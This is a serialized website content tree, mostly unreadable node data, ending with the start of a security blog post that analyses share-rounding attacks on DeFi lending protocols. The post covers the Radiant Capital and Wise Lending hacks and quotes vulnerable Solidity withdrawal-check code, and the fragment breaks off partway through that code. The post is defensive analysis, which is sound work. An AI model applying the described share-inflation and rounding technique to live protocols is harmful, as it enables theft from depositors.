children":47472},{"class":155,"line":3493},[47473,47477,47481,47485,47489,47493,47497,47501,47505,47509,47513],{"type":21,"tag":153,"props":47474,"children":47475},{"style":192},[47476],{"type":26,"value":4833},{"type":21,"tag":153,"props":47478,"children":47479},{"style":192},[47480],{"type":26,"value":4838},{"type":21,"tag":153,"props":47482,"children":47483},{"style":192},[47484],{"type":26,"value":3853},{"type":21,"tag":153,"props":47486,"children":47487},{"style":192},[47488],{"type":26,"value":4153},{"type":21,"tag":153,"props":47490,"children":47491},{"style":160},[47492],{"type":26,"value":3863},{"type":21,"tag":153,"props":47494,"children":47495},{"style":192},[47496],{"type":26,"value":3868},{"type":21,"tag":153,"props":47498,"children":47499},{"style":198},[47500],{"type":26,"value":3873},{"type":21,"tag":153,"props":47502,"children":47503},{"style":300},[47504],{"type":26,"value":4863},{"type":21,"tag":153,"props":47506,"children":47507},{"style":160},[47508],{"type":26,"value":3883},{"type":21,"tag":153,"props":47510,"children":47511},{"style":192},[47512],{"type":26,"value":4872},{"type":21,"tag":153,"props":47514,"children":47515},{"style":160},[47516],{"type":26,"value":548},{"type":21,"tag":153,"props":47518,"children":47519},{"class":155,"line":3509},[47520,47524,47528,47532,47536,47540],{"type":21,"tag":153,"props":47521,"children":47522},{"style":192},[47523],{"type":26,"value":4884},{"type":21,"tag":153,"props":47525,"children":47526},{"style":192},[47527],{"type":26,"value":4676},{"type":21,"tag":153,"props":47529,"children":47530},{"style":192},[47531],{"type":26,"value":4148},{"type":21,"tag":153,"props":47533,"children":47534},{"style":192},[47535],{"type":26,"value":3914},{"type":21,"tag":153,"props":47537,"children":47538},{"style":160},[47539],{"type":26,"value":1670},{"type":21,"tag":153,"props":47541,"children":47542},{"style":300},[47543],{"type":26,"value":4693},{"type":21,"tag":153,"props":47545,"children":47546},{"class":155,"line":3517},[47547,47551,47555,47559],{"type":21,"tag":153,"props":47548,"children":47549},{"style":192},[47550],{"type":26,"value":4912},{"type":21,"tag":153,"props":47552,"children":47553},{"style":192},[47554],{"type":26,"value":4917},{"type":21,"tag":153,"props":47556,"children":47557},{"style":192},[47558],{"type":26,"value":4066},{"type":21,"tag":153,"props":47560,"children":47561},{"style":192},[47562],{"type":26,"value":4715},{"type":21,"tag":153,"props":47564,"children":47565},{"class":155,"line":3526},[47566],{"type":21,"tag":153,"props":47567,"children":47568},{"emptyLinePlaceholder":16},[47569],{"type":26,"value":759},{"type":21,"tag":153,"props":47571,"children":47572},{"class":155,"line":3607},[47573,47577,47581,47585,47589,47593],{"type":21,"tag":153,"props":47574,"children":47575},{"style":192},[47576],{"type":26,"value":4940},{"type":21,"tag":153,"props":47578,"children":47579},{"style":300},[47580],{"type":26,"value":4945},{"type":21,"tag":153,"props":47582,"children":47583},{"style":192},[47584],{"type":26,"value":4950},{"type":21,"tag":153,"props":47586,"children":47587},{"style":160},[47588],{"type":26,"value":4955},{"type":21,"tag":153,"props":47590,"children":47591},{"style":192},[47592],{"type":26,"value":4960},{"type":21,"tag":153,"props":47594,"children":47595},{"style":160},[47596],{"type":26,"value":548},{"type":21,"tag":22,"props":47598,"children":47599},{},[47600,47601,47606],{"type":26,"value":4969},{"type":21,"tag":78,"props":47602,"children":47604},{"className":47603},[],[47605],{"type":26,"value":4975},{"type":26,"value":4977},{"type":21,"tag":126,"props":47608,"children":47609},{},[47610,47618,47626],{"type":21,"tag":91,"props":47611,"children":47612},{},[47613],{"type":21,"tag":78,"props":47614,"children":47616},{"className":47615},[],[47617],{"type":26,"value":4989},{"type":21,"tag":91,"props":47619,"children":47620},{},[47621],{"type":21,"tag":78,"props":47622,"children":47624},{"className":47623},[],[47625],{"type":26,"value":4998},{"type":21,"tag":91,"props":47627,"children":47628},{},[47629,47630,47635,47636,47641],{"type":26,"value":5003},{"type":21,"tag":78,"props":47631,"children":47633},{"className":47632},[],[47634],{"type":26,"value":5009},{"type":26,"value":5011},{"type":21,"tag":29,"props":47637,"children":47639},{"href":5014,"rel":47638},[33],[47640],{"type":26,"value":5018},{"type":26,"value":355},{"type":21,"tag":22,"props":47643,"children":47644},{},[47645],{"type":26,"value":5024},{"type":21,"tag":22,"props":47647,"children":47648},{},[47649],{"type":26,"value":5029},{"type":21,"tag":22,"props":47651,"children":47652},{},[47653,47654,47659],{"type":26,"value":5034},{"type":21,"tag":29,"props":47655,"children":47657},{"href":5037,"rel":47656},[33],[47658],{"type":26,"value":5041},{"type":26,"value":5043},{"type":21,"tag":143,"props":47661,"children":47662},{"className":145,"code":5046,"language":147,"meta":7,"style":7},[47663],{"type":21,"tag":78,"props":47664,"children":47665},{"__ignoreMap":7},[47666],{"type":21,"tag":153,"props":47667,"children":47668},{"class":155,"line":156},[47669,47673,47677,47681,47685,47689,47693,47697,47701,47705,47709,47713,47717,47721,47725,47729,47733,47737,47741,47745,47749,47753,47757,47761,47765,47769,47773,47777,47781,47785,47789],{"type":21,"tag":153,"props":47670,"children":47671},{"style":170},[47672],{"type":26,"value":1000},{"type":21,"tag":153,"props":47674,"children":47675},{"style":181},[47676],{"type":26,"value":5062},{"type":21,"tag":153,"props":47678,"children":47679},{"style":160},[47680],{"type":26,"value":189},{"type":21,"tag":153,"props":47682,"children":47683},{"style":192},[47684],{"type":26,"value":5071},{"type":21,"tag":153,"props":47686,"children":47687},{"style":198},[47688],{"type":26,"value":201},{"type":21,"tag":153,"props":47690,"children":47691},{"style":198},[47692],{"type":26,"value":5080},{"type":21,"tag":153,"props":47694,"children":47695},{"style":170},[47696],{"type":26,"value":5085},{"type":21,"tag":153,"props":47698,"children":47699},{"style":214},[47700],{"type":26,"value":5090},{"type":21,"tag":153,"props":47702,"children":47703},{"style":160},[47704],{"type":26,"value":1670},{"type":21,"tag":153,"props":47706,"children":47707},{"style":192},[47708],{"type":26,"value":5099},{"type":21,"tag":153,"props":47710,"children":47711},{"style":198},[47712],{"type":26,"value":201},{"type":21,"tag":153,"props":47714,"children":47715},{"style":198},[47716],{"type":26,"value":5080},{"type":21,"tag":153,"props":47718,"children":47719},{"style":170},[47720],{"type":26,"value":5085},{"type":21,"tag":153,"props":47722,"children":47723},{"style":214},[47724],{"type":26,"value":5090},{"type":21,"tag":153,"props":47726,"children":47727},{"style":160},[47728],{"type":26,"value":1670},{"type":21,"tag":153,"props":47730,"children":47731},{"style":192},[47732],{"type":26,"value":5124},{"type":21,"tag":153,"props":47734,"children":47735},{"style":198},[47736],{"type":26,"value":201},{"type":21,"tag":153,"props":47738,"children":47739},{"style":214},[47740],{"type":26,"value":323},{"type":21,"tag":153,"props":47742,"children":47743},{"style":160},[47744],{"type":26,"value":1670},{"type":21,"tag":153,"props":47746,"children":47747},{"style":192},[47748],{"type":26,"value":5141},{"type":21,"tag":153,"props":47750,"children":47751},{"style":198},[47752],{"type":26,"value":201},{"type":21,"tag":153,"props":47754,"children":47755},{"style":198},[47756],{"type":26,"value":5080},{"type":21,"tag":153,"props":47758,"children":47759},{"style":170},[47760],{"type":26,"value":5085},{"type":21,"tag":153,"props":47762,"children":47763},{"style":214},[47764],{"type":26,"value":5090},{"type":21,"tag":153,"props":47766,"children":47767},{"style":160},[47768],{"type":26,"value":1670},{"type":21,"tag":153,"props":47770,"children":47771},{"style":192},[47772],{"type":26,"value":5166},{"type":21,"tag":153,"props":47774,"children":47775},{"style":198},[47776],{"type":26,"value":201},{"type":21,"tag":153,"props":47778,"children":47779},{"style":214},[47780],{"type":26,"value":323},{"type":21,"tag":153,"props":47782,"children":47783},{"style":160},[47784],{"type":26,"value":2362},{"type":21,"tag":153,"props":47786,"children":47787},{"style":198},[47788],{"type":26,"value":2953},{"type":21,"tag":153,"props":47790,"children":47791},{"style":214},[47792],{"type":26,"value":5187},{"type":21,"tag":22,"props":47794,"children":47795},{},[47796,47797,47801,47802,47807],{"type":26,"value":5192},{"type":21,"tag":29,"props":47798,"children":47799},{"href":5195},[47800],{"type":26,"value":3793},{"type":26,"value":5199},{"type":21,"tag":29,"props":47803,"children":47805},{"href":5202,"rel":47804},[33],[47806],{"type":26,"value":5206},{"type":26,"value":5208},{"type":21,"tag":87,"props":47809,"children":47810},{},[47811],{"type":21,"tag":91,"props":47812,"children":47813},{},[47814,47819,47820,47825],{"type":21,"tag":78,"props":47815,"children":47817},{"className":47816},[],[47818],{"type":26,"value":5071},{"type":26,"value":5221},{"type":21,"tag":29,"props":47821,"children":47823},{"href":5224,"rel":47822},[33],[47824],{"type":26,"value":5228},{"type":26,"value":201},{"type":21,"tag":22,"props":47827,"children":47828},{},[47829],{"type":21,"tag":3644,"props":47830,"children":47831},{"alt":5228,"src":5235},[],{"type":21,"tag":87,"props":47833,"children":47834},{},[47835,47856],{"type":21,"tag":91,"props":47836,"children":47837},{},[47838,47843,47844,47849,47850,47855],{"type":21,"tag":78,"props":47839,"children":47841},{"className":47840},[],[47842],{"type":26,"value":5099},{"type":26,"value":5249},{"type":21,"tag":78,"props":47845,"children":47847},{"className":47846},[],[47848],{"type":26,"value":5124},{"type":26,"value":5256},{"type":21,"tag":29,"props":47851,"children":47853},{"href":5259,"rel":47852},[33],[47854],{"type":26,"value":5263},{"type":26,"value":355},{"type":21,"tag":91,"props":47857,"children":47858},{},[47859,47864,47865,47870,47871,47876],{"type":21,"tag":78,"props":47860,"children":47862},{"className":47861},[],[47863],{"type":26,"value":5141},{"type":26,"value":5274},{"type":21,"tag":78,"props":47866,"children":47868},{"className":47867},[],[47869],{"type":26,"value":5166},{"type":26,"value":5281},{"type":21,"tag":78,"props":47872,"children":47874},{"className":47873},[],[47875],{"type":26,"value":217},{"type":26,"value":355},{"type":21,"tag":22,"props":47878,"children":47879},{},[47880],{"type":21,"tag":3644,"props":47881,"children":47882},{"alt":5293,"src":5294},[],{"type":21,"tag":22,"props":47884,"children":47885},{},[47886,47887,47891],{"type":26,"value":5300},{"type":21,"tag":5302,"props":47888,"children":47889},{},[47890],{"type":26,"value":5306},{"type":26,"value":355},{"type":21,"tag":22,"props":47893,"children":47894},{},[47895,47896,47901],{"type":26,"value":5312},{"type":21,"tag":29,"props":47897,"children":47899},{"href":5315,"rel":47898},[33],[47900],{"type":26,"value":5319},{"type":26,"value":355},{"type":21,"tag":22,"props":47903,"children":47904},{},[47905],{"type":26,"value":5325},{"type":21,"tag":143,"props":47907,"children":47908},{"className":3674,"code":5328,"language":3676,"meta":7,"style":7},[47909],{"type":21,"tag":78,"props":47910,"children":47911},{"__ignoreMap":7},[47912,47919,47926,47933,47940,47947,47954,47961,47968,47975,47982,47989,47996,48003,48010],{"type":21,"tag":153,"props":47913,"children":47914},{"class":155,"line":156},[47915],{"type":21,"tag":153,"props":47916,"children":47917},{},[47918],{"type":26,"value":5340},{"type":21,"tag":153,"props":47920,"children":47921},{"class":155,"line":166},[47922],{"type":21,"tag":153,"props":47923,"children":47924},{},[47925],{"type":26,"value":3696},{"type":21,"tag":153,"props":47927,"children":47928},{"class":155,"line":225},[47929],{"type":21,"tag":153,"props":47930,"children":47931},{},[47932],{"type":26,"value":3704},{"type":21,"tag":153,"props":47934,"children":47935},{"class":155,"line":239},[47936],{"type":21,"tag":153,"props":47937,"children":47938},{},[47939],{"type":26,"value":5362},{"type":21,"tag":153,"props":47941,"children":47942},{"class":155,"line":382},[47943],{"type":21,"tag":153,"props":47944,"children":47945},{},[47946],{"type":26,"value":3720},{"type":21,"tag":153,"props":47948,"children":47949},{"class":155,"line":501},[47950],{"type":21,"tag":153,"props":47951,"children":47952},{},[47953],{"type":26,"value":5377},{"type":21,"tag":153,"props":47955,"children":47956},{"class":155,"line":533},[47957],{"type":21,"tag":153,"props":47958,"children":47959},{},[47960],{"type":26,"value":5385},{"type":21,"tag":153,"props":47962,"children":47963},{"class":155,"line":542},[47964],{"type":21,"tag":153,"props":47965,"children":47966},{},[47967],{"type":26,"value":5393},{"type":21,"tag":153,"props":47969,"children":47970},{"class":155,"line":762},[47971],{"type":21,"tag":153,"props":47972,"children":47973},{},[47974],{"type":26,"value":5401},{"type":21,"tag":153,"props":47976,"children":47977},{"class":155,"line":776},[47978],{"type":21,"tag":153,"props":47979,"children":47980},{},[47981],{"type":26,"value":5409},{"type":21,"tag":153,"props":47983,"children":47984},{"class":155,"line":795},[47985],{"type":21,"tag":153,"props":47986,"children":47987},{},[47988],{"type":26,"value":5417},{"type":21,"tag":153,"props":47990,"children":47991},{"class":155,"line":808},[47992],{"type":21,"tag":153,"props":47993,"children":47994},{},[47995],{"type":26,"value":5425},{"type":21,"tag":153,"props":47997,"children":47998},{"class":155,"line":820},[47999],{"type":21,"tag":153,"props":48000,"children":48001},{},[48002],{"type":26,"value":5433},{"type":21,"tag":153,"props":48004,"children":48005},{"class":155,"line":842},[48006],{"type":21,"tag":153,"props":48007,"children":48008},{},[48009],{"type":26,"value":5441},{"type":21,"tag":153,"props":48011,"children":48012},{"class":155,"line":3204},[48013],{"type":21,"tag":153,"props":48014,"children":48015},{},[48016],{"type":26,"value":5449},{"type":21,"tag":22,"props":48018,"children":48019},{},[48020,48021,48026],{"type":26,"value":5454},{"type":21,"tag":78,"props":48022,"children":48024},{"className":48023},[],[48025],{"type":26,"value":5460},{"type":26,"value":5462},{"type":21,"tag":143,"props":48028,"children":48029},{"className":145,"code":5465,"language":147,"meta":7,"style":7},[48030],{"type":21,"tag":78,"props":48031,"children":48032},{"__ignoreMap":7},[48033,48076,48107,48114],{"type":21,"tag":153,"props":48034,"children":48035},{"class":155,"line":156},[48036,48040,48044,48048,48052,48056,48060,48064,48068,48072],{"type":21,"tag":153,"props":48037,"children":48038},{"style":170},[48039],{"type":26,"value":1000},{"type":21,"tag":153,"props":48041,"children":48042},{"style":181},[48043],{"type":26,"value":5481},{"type":21,"tag":153,"props":48045,"children":48046},{"style":160},[48047],{"type":26,"value":189},{"type":21,"tag":153,"props":48049,"children":48050},{"style":192},[48051],{"type":26,"value":5490},{"type":21,"tag":153,"props":48053,"children":48054},{"style":198},[48055],{"type":26,"value":201},{"type":21,"tag":153,"props":48057,"children":48058},{"style":214},[48059],{"type":26,"value":323},{"type":21,"tag":153,"props":48061,"children":48062},{"style":160},[48063],{"type":26,"value":2362},{"type":21,"tag":153,"props":48065,"children":48066},{"style":198},[48067],{"type":26,"value":2953},{"type":21,"tag":153,"props":48069,"children":48070},{"style":214},[48071],{"type":26,"value":323},{"type":21,"tag":153,"props":48073,"children":48074},{"style":160},[48075],{"type":26,"value":236},{"type":21,"tag":153,"props":48077,"children":48078},{"class":155,"line":166},[48079,48083,48087,48091,48095,48099,48103],{"type":21,"tag":153,"props":48080,"children":48081},{"style":300},[48082],{"type":26,"value":5522},{"type":21,"tag":153,"props":48084,"children":48085},{"style":198},[48086],{"type":26,"value":5527},{"type":21,"tag":153,"props":48088,"children":48089},{"style":300},[48090],{"type":26,"value":5532},{"type":21,"tag":153,"props":48092,"children":48093},{"style":198},[48094],{"type":26,"value":5080},{"type":21,"tag":153,"props":48096,"children":48097},{"style":192},[48098],{"type":26,"value":5541},{"type":21,"tag":153,"props":48100,"children":48101},{"style":198},[48102],{"type":26,"value":5527},{"type":21,"tag":153,"props":48104,"children":48105},{"style":300},[48106],{"type":26,"value":5550},{"type":21,"tag":153,"props":48108,"children":48109},{"class":155,"line":225},[48110],{"type":21,"tag":153,"props":48111,"children":48112},{"style":160},[48113],{"type":26,"value":548},{"type":21,"tag":153,"props":48115,"children":48116},{"class":155,"line":239},[48117],{"type":21,"tag":153,"props":48118,"children":48119},{"style":3050},[48120],{"type":26,"value":5565},{"type":21,"tag":66,"props":48122,"children":48123},{"id":5568},[48124],{"type":26,"value":5571},{"type":21,"tag":22,"props":48126,"children":48127},{},[48128,48129,48134],{"type":26,"value":5576},{"type":21,"tag":29,"props":48130,"children":48132},{"href":5579,"rel":48131},[33],[48133],{"type":26,"value":5583},{"type":26,"value":355},{"type":21,"tag":22,"props":48136,"children":48137},{},[48138],{"type":26,"value":5589},{"type":21,"tag":22,"props":48140,"children":48141},{},[48142,48143,48147],{"type":26,"value":5594},{"type":21,"tag":5302,"props":48144,"children":48145},{},[48146],{"type":26,"value":5599},{"type":26,"value":5601},{"type":21,"tag":5603,"props":48149,"children":48150},{},[48151],{"type":26,"value":5607},{"title":7,"searchDepth":166,"depth":166,"links":48153},[48154,48158,48159,48162],{"id":68,"depth":166,"text":71,"children":48155},[48156,48157],{"id":116,"depth":225,"text":119},{"id":1511,"depth":225,"text":1514},{"id":2782,"depth":166,"text":2785},{"id":3656,"depth":166,"text":3659,"children":48160},[48161],{"id":3770,"depth":225,"text":3773},{"id":5568,"depth":166,"text":5571},{"_path":48164,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":48165,"description":48166,"author":48167,"image":48168,"date":48170,"isFeatured":16,"onBlogPage":16,"body":48171,"_type":5619,"_id":49317,"_source":5621,"_file":49318,"_stem":49319,"_extension":5624},"/blog/2024-01-18-rounding-bugs","Rounding Bugs: An Analysis","Rounding-related hacks are having a moment in the spotlight. We explore these exploits, correct some popular misunderstandings, and provide mitigations.",[12],{"src":48169},"/posts/rounding-bugs/cover.png","2024-01-18",{"type":18,"children":48172,"toc":49306},[48173,48177,48205,48210,48223,48228,48234,48239,48244,48249,48254,48267,48279,48299,48319,48324,48329,48347,48353,48358,48364,48378,48391,48396,48402,48416,48421,48443,48676,48681,48686,48699,48939,48949,48954,48960,48965,48970,49003,49008,49019,49025,49030,49044,49172,49186,49262,49267,49278,49283,49288,49292,49297,49302],{"type":21,"tag":66,"props":48174,"children":48175},{"id":31710},[48176],{"type":26,"value":31713},{"type":21,"tag":22,"props":48178,"children":48179},{},[48180,48182,48189,48190,48197,48199,48204],{"type":26,"value":48181},"Recently, there's been a series of attacks exploiting share rounding against lending protocols. Rounding attacks are already known to developers on ",{"type":21,"tag":29,"props":48183,"children":48186},{"href":48184,"rel":48185},"https://neodyme.io/de/blog/lending_disclosure",[33],[48187],{"type":26,"value":48188},"fast",{"type":26,"value":1670},{"type":21,"tag":29,"props":48191,"children":48194},{"href":48192,"rel":48193},"https://osec.io/blog/2022-04-26-spl-swap-rounding",[33],[48195],{"type":26,"value":48196},"cheap",{"type":26,"value":48198}," chains with high-value tokens. These attacks are novel in that they also work against low-value tokens on expensive chains. ",{"type":21,"tag":5302,"props":48200,"children":48201},{},[48202],{"type":26,"value":48203},"Most people haven't considered what happens when shares are worth a lot",{"type":26,"value":355},{"type":21,"tag":22,"props":48206,"children":48207},{},[48208],{"type":26,"value":48209},"Much of the previous discourse has mischaracterized the rootcause of these hacks. For example, the presence of flashloans is largely irrelevant. At a high level, these attacks only require two key steps:",{"type":21,"tag":126,"props":48211,"children":48212},{},[48213,48218],{"type":21,"tag":91,"props":48214,"children":48215},{},[48216],{"type":26,"value":48217},"Inflate share value (token to share conversion rate)",{"type":21,"tag":91,"props":48219,"children":48220},{},[48221],{"type":26,"value":48222},"Exploit rounding bug",{"type":21,"tag":22,"props":48224,"children":48225},{},[48226],{"type":26,"value":48227},"In this blog post, we explore these attacks in detail and provide potential mitigations.",{"type":21,"tag":66,"props":48229,"children":48231},{"id":48230},"model",[48232],{"type":26,"value":48233},"Model",{"type":21,"tag":22,"props":48235,"children":48236},{},[48237],{"type":26,"value":48238},"Before we dive in, there's some helpful background information we'll share first.",{"type":21,"tag":22,"props":48240,"children":48241},{},[48242],{"type":26,"value":48243},"A common form of accounting is the share and token model. When a user deposits a token, they receive back shares. Shares can accrue value, whether through interest or protocol fees.",{"type":21,"tag":22,"props":48245,"children":48246},{},[48247],{"type":26,"value":48248},"When users want to withdraw their tokens, they burn shares and receive the corresponding amount of tokens back. This is nice in theory. Unfortunately, in the real world, we have fixed precision. You can't have 1.01 shares, it needs to be either one or two. Which way should we round?",{"type":21,"tag":22,"props":48250,"children":48251},{},[48252],{"type":26,"value":48253},"This question is more complex than it may appear. Let's walk through an example.",{"type":21,"tag":22,"props":48255,"children":48256},{},[48257,48259,48265],{"type":26,"value":48258},"Say we initialize shares and tokens in a one-to-one ratio. After an initial deposit of 1000 tokens, the pool state is ",{"type":21,"tag":78,"props":48260,"children":48262},{"className":48261},[],[48263],{"type":26,"value":48264},"1000:1000",{"type":26,"value":48266}," (1000 tokens to 1000 shares).",{"type":21,"tag":22,"props":48268,"children":48269},{},[48270,48272,48278],{"type":26,"value":48271},"After accruing fees, the pool gains one token for a new ratio of ",{"type":21,"tag":78,"props":48273,"children":48275},{"className":48274},[],[48276],{"type":26,"value":48277},"1001:1000",{"type":26,"value":355},{"type":21,"tag":22,"props":48280,"children":48281},{},[48282,48284,48290,48292,48297],{"type":26,"value":48283},"How many tokens should we get back when withdrawing 999 shares? The real answer is ",{"type":21,"tag":78,"props":48285,"children":48287},{"className":48286},[],[48288],{"type":26,"value":48289},"1001/1000*999 = 999.999",{"type":26,"value":48291},". Unfortunately, we can only send the user 1000 or 999 tokens. For now, let's assume we round ",{"type":21,"tag":5302,"props":48293,"children":48294},{},[48295],{"type":26,"value":48296},"down",{"type":26,"value":48298}," against the user.",{"type":21,"tag":22,"props":48300,"children":48301},{},[48302,48304,48310,48312,48318],{"type":26,"value":48303},"If we give the user 999 tokens, the new pool state is ",{"type":21,"tag":78,"props":48305,"children":48307},{"className":48306},[],[48308],{"type":26,"value":48309},"2:1",{"type":26,"value":48311},". The value of a share doubled! What happens if we deposit 1 more token? We'll get back zero shares, further inflating the ratio to ",{"type":21,"tag":78,"props":48313,"children":48315},{"className":48314},[],[48316],{"type":26,"value":48317},"3:1",{"type":26,"value":355},{"type":21,"tag":22,"props":48320,"children":48321},{},[48322],{"type":26,"value":48323},"Small decisions like rounding direction can have a big impact on share valuation. Generally, share valuation isn't a strict security boundary.",{"type":21,"tag":22,"props":48325,"children":48326},{},[48327],{"type":26,"value":48328},"The above is a bit of a simplification. In practice, there are several protocol-specific design decisions:",{"type":21,"tag":126,"props":48330,"children":48331},{},[48332,48337,48342],{"type":21,"tag":91,"props":48333,"children":48334},{},[48335],{"type":26,"value":48336},"Can you deposit and receive back zero shares? If not, you'll need to spend more effort to exploit the rounding error",{"type":21,"tag":91,"props":48338,"children":48339},{},[48340],{"type":26,"value":48341},"When you withdraw, are you withdrawing shares or tokens?",{"type":21,"tag":91,"props":48343,"children":48344},{},[48345],{"type":26,"value":48346},"Can you directly manipulate pool state by sending tokens? Hopefully not.",{"type":21,"tag":66,"props":48348,"children":48350},{"id":48349},"decisions",[48351],{"type":26,"value":48352},"Decisions",{"type":21,"tag":22,"props":48354,"children":48355},{},[48356],{"type":26,"value":48357},"Let's assume that we're able to inflate the value of a share. How can we actually exploit this?",{"type":21,"tag":114,"props":48359,"children":48361},{"id":48360},"radiant-capital",[48362],{"type":26,"value":48363},"Radiant Capital",{"type":21,"tag":22,"props":48365,"children":48366},{},[48367,48369,48376],{"type":26,"value":48368},"Radiant Capital was ",{"type":21,"tag":29,"props":48370,"children":48373},{"href":48371,"rel":48372},"https://arbiscan.io/tx/0x1ce7e9a9e3b6dd3293c9067221ac3260858ce119ecb7ca860eac28b2474c7c9b",[33],[48374],{"type":26,"value":48375},"hacked on Jan 2nd",{"type":26,"value":48377}," for about $4.5M. This was the original example of exploiting rounding on otherwise inconsequential shares.",{"type":21,"tag":22,"props":48379,"children":48380},{},[48381,48383,48390],{"type":26,"value":48382},"The exploit is relatively straightforward and ",{"type":21,"tag":29,"props":48384,"children":48387},{"href":48385,"rel":48386},"https://medium.com/@_kcyw/radiant-capital-hack-explained-1633289be150",[33],[48388],{"type":26,"value":48389},"has already been covered previously",{"type":26,"value":355},{"type":21,"tag":22,"props":48392,"children":48393},{},[48394],{"type":26,"value":48395},"At a high level, this exploit is exactly what you'd expect. If shares were worth $1000 each, and the user tried to withdraw $1999, they only needed to burn one share. Free money.",{"type":21,"tag":114,"props":48397,"children":48399},{"id":48398},"wise-lending",[48400],{"type":26,"value":48401},"Wise Lending",{"type":21,"tag":22,"props":48403,"children":48404},{},[48405,48407,48414],{"type":26,"value":48406},"Wise Lending was ",{"type":21,"tag":29,"props":48408,"children":48411},{"href":48409,"rel":48410},"https://etherscan.io/tx/0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31",[33],[48412],{"type":26,"value":48413},"hacked on January 13th",{"type":26,"value":48415}," for just under $460,000.",{"type":21,"tag":22,"props":48417,"children":48418},{},[48419],{"type":26,"value":48420},"Again, share prices were inflated artificially high. However, the rounding direction seemed to be correct. This was a new variant.",{"type":21,"tag":22,"props":48422,"children":48423},{},[48424,48426,48433,48435,48442],{"type":26,"value":48425},"This is ",{"type":21,"tag":29,"props":48427,"children":48430},{"href":48428,"rel":48429},"https://etherscan.io/address/0x829c3AE2e82760eCEaD0F384918a650F8a31Ba18",[33],[48431],{"type":26,"value":48432},"the code responsible",{"type":26,"value":48434}," for checking if a withdrawal is valid. As a hint, a critical invariant for lending protocols is that there's ",{"type":21,"tag":29,"props":48436,"children":48439},{"href":48437,"rel":48438},"https://www.chainalysis.com/blog/euler-finance-flash-loan-attack/",[33],[48440],{"type":26,"value":48441},"no way to atomically self-bankrupt",{"type":26,"value":355},{"type":21,"tag":143,"props":48444,"children":48446},{"className":7205,"code":48445,"language":7204,"meta":7,"style":7},"uint256 withdrawValue = WISE_ORACLE.getTokensInETH(\n    _poolToken,\n    _amount\n)\n    * WISE_LENDING.lendingPoolData(_poolToken).collateralFactor\n    / PRECISION_FACTOR_E18;\n\nbool state = borrowPercentageCap\n    * (overallETHCollateralsWeighted(_nftId) - withdrawValue)\n    / PRECISION_FACTOR_E18\n    \u003C borrowAmount;\n\nif (state == true) {\n    revert ResultsInBadDebt();\n}\n",[48447],{"type":21,"tag":78,"props":48448,"children":48449},{"__ignoreMap":7},[48450,48481,48489,48497,48504,48526,48539,48546,48567,48597,48609,48621,48628,48652,48669],{"type":21,"tag":153,"props":48451,"children":48452},{"class":155,"line":156},[48453,48458,48463,48467,48472,48477],{"type":21,"tag":153,"props":48454,"children":48455},{"style":214},[48456],{"type":26,"value":48457},"uint256",{"type":21,"tag":153,"props":48459,"children":48460},{"style":160},[48461],{"type":26,"value":48462}," withdrawValue ",{"type":21,"tag":153,"props":48464,"children":48465},{"style":198},[48466],{"type":26,"value":2367},{"type":21,"tag":153,"props":48468,"children":48469},{"style":160},[48470],{"type":26,"value":48471}," WISE_ORACLE.",{"type":21,"tag":153,"props":48473,"children":48474},{"style":181},[48475],{"type":26,"value":48476},"getTokensInETH",{"type":21,"tag":153,"props":48478,"children":48479},{"style":160},[48480],{"type":26,"value":773},{"type":21,"tag":153,"props":48482,"children":48483},{"class":155,"line":166},[48484],{"type":21,"tag":153,"props":48485,"children":48486},{"style":160},[48487],{"type":26,"value":48488},"    _poolToken,\n",{"type":21,"tag":153,"props":48490,"children":48491},{"class":155,"line":225},[48492],{"type":21,"tag":153,"props":48493,"children":48494},{"style":160},[48495],{"type":26,"value":48496},"    _amount\n",{"type":21,"tag":153,"props":48498,"children":48499},{"class":155,"line":239},[48500],{"type":21,"tag":153,"props":48501,"children":48502},{"style":160},[48503],{"type":26,"value":5909},{"type":21,"tag":153,"props":48505,"children":48506},{"class":155,"line":382},[48507,48511,48516,48521],{"type":21,"tag":153,"props":48508,"children":48509},{"style":198},[48510],{"type":26,"value":20257},{"type":21,"tag":153,"props":48512,"children":48513},{"style":160},[48514],{"type":26,"value":48515}," WISE_LENDING.",{"type":21,"tag":153,"props":48517,"children":48518},{"style":181},[48519],{"type":26,"value":48520},"lendingPoolData",{"type":21,"tag":153,"props":48522,"children":48523},{"style":160},[48524],{"type":26,"value":48525},"(_poolToken).collateralFactor\n",{"type":21,"tag":153,"props":48527,"children":48528},{"class":155,"line":501},[48529,48534],{"type":21,"tag":153,"props":48530,"children":48531},{"style":198},[48532],{"type":26,"value":48533},"    /",{"type":21,"tag":153,"props":48535,"children":48536},{"style":160},[48537],{"type":26,"value":48538}," PRECISION_FACTOR_E18;\n",{"type":21,"tag":153,"props":48540,"children":48541},{"class":155,"line":533},[48542],{"type":21,"tag":153,"props":48543,"children":48544},{"emptyLinePlaceholder":16},[48545],{"type":26,"value":759},{"type":21,"tag":153,"props":48547,"children":48548},{"class":155,"line":542},[48549,48553,48558,48562],{"type":21,"tag":153,"props":48550,"children":48551},{"style":214},[48552],{"type":26,"value":32380},{"type":21,"tag":153,"props":48554,"children":48555},{"style":160},[48556],{"type":26,"value":48557}," state ",{"type":21,"tag":153,"props":48559,"children":48560},{"style":198},[48561],{"type":26,"value":2367},{"type":21,"tag":153,"props":48563,"children":48564},{"style":160},[48565],{"type":26,"value":48566}," borrowPercentageCap\n",{"type":21,"tag":153,"props":48568,"children":48569},{"class":155,"line":762},[48570,48574,48578,48583,48588,48592],{"type":21,"tag":153,"props":48571,"children":48572},{"style":198},[48573],{"type":26,"value":20257},{"type":21,"tag":153,"props":48575,"children":48576},{"style":160},[48577],{"type":26,"value":5820},{"type":21,"tag":153,"props":48579,"children":48580},{"style":181},[48581],{"type":26,"value":48582},"overallETHCollateralsWeighted",{"type":21,"tag":153,"props":48584,"children":48585},{"style":160},[48586],{"type":26,"value":48587},"(_nftId) ",{"type":21,"tag":153,"props":48589,"children":48590},{"style":198},[48591],{"type":26,"value":3873},{"type":21,"tag":153,"props":48593,"children":48594},{"style":160},[48595],{"type":26,"value":48596}," withdrawValue)\n",{"type":21,"tag":153,"props":48598,"children":48599},{"class":155,"line":776},[48600,48604],{"type":21,"tag":153,"props":48601,"children":48602},{"style":198},[48603],{"type":26,"value":48533},{"type":21,"tag":153,"props":48605,"children":48606},{"style":160},[48607],{"type":26,"value":48608}," 